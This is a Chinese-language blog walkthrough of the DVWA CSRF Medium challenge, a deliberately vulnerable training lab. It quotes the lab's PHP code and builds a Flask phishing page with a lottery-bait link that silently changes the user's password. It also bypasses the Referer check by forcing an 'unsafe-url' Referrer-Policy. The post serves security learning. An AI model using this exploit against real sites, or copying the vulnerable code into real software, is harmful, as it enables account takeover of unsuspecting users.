這次我們直接看 code:
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Checks to see where the request came from
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$current_user = dvwaCurrentUser();
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . $current_user . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
}
else {
// Didn't come from a trusted source
echo "<pre>That request didn't look correct.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
跟昨天的 Low 相比,多了第二層 if 的檢查:
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false )
意思是 HTTP_REFERER
中需要有 SERVER_NAME
才會通過檢查。在這個環境中我們的 SERVER_NAME
是 localhost
,所以我們的目標是讓 Referer 中包含 localhost
這段字串。
要達到這個條件有兩種做法,一種是租一個包含 SERVER_NAME
的 Domain 來達成,另一種是用後面的 route 來達到,實務上包含在後面的 route 應該是比較泛用的方式。
這邊使用 Flask 來架一個釣魚頁面,只要使用者點擊就會被修改密碼。
我嘗試使用 /localhost
這個路由來達到上面 Referer 的條件
from flask import Flask, render_template
app = Flask(__name__)
@app.route('/localhost')
def index():
return render_template('index.html')
app.run(host="127.0.0.1", port=5000, debug=False)
index.html
:
<p>抽獎抽獎</p>
<a href="http://localhost:4280/vulnerabilities/csrf/?password_new=pwnedpwned&password_conf=pwnedpwned&Change=Change#">抽一下嘛🥺</a>
本來以為這樣就可以順利通關,但按下去之後,出現了 That request didn't look correct.
的錯誤,使用 Burp Suite 可以看到 Referer 不是我想像的 http://127.0.0.1:5000/localhost
,而是只有前面的 host 跟 port 的部分。
這邊還跟我的隊友求助了一下 XD,最後發現是 Chrome 85 之後預設的 Referrer-Policy 變成 strict-origin-when-cross-origin
了。
這樣我們應該只要把 Referrer-Policy 改成 unsafe-url
就可以讓 Referer 符合我們的預期,只是我嘗試在 Flask 端覆寫 Header 但是沒有效果,最後使用了 Flask Talisman 才成功更改了 Referrer-Policy。最後的 code 如下:
from flask import Flask, render_template
from flask_talisman import Talisman
app = Flask(__name__)
Talisman(app, force_https=False, referrer_policy='unsafe-url')
@app.route('/localhost')
def index():
return render_template('index.html')
app.run(host="127.0.0.1", port=5000, debug=False)
最後點擊該釣魚頁面中的連結,成功更改密碼!
前面提到的預設 Referrer-Policy 改動可以去看看這篇文章:
【Chrome 85 更新】淺談 Referer-Policy 和更新影響 - Max行銷誌
最近幾天發現要完成文章的時間越來越長,因為要將題目打通才能開始寫 XD,希望後面可以順利完成!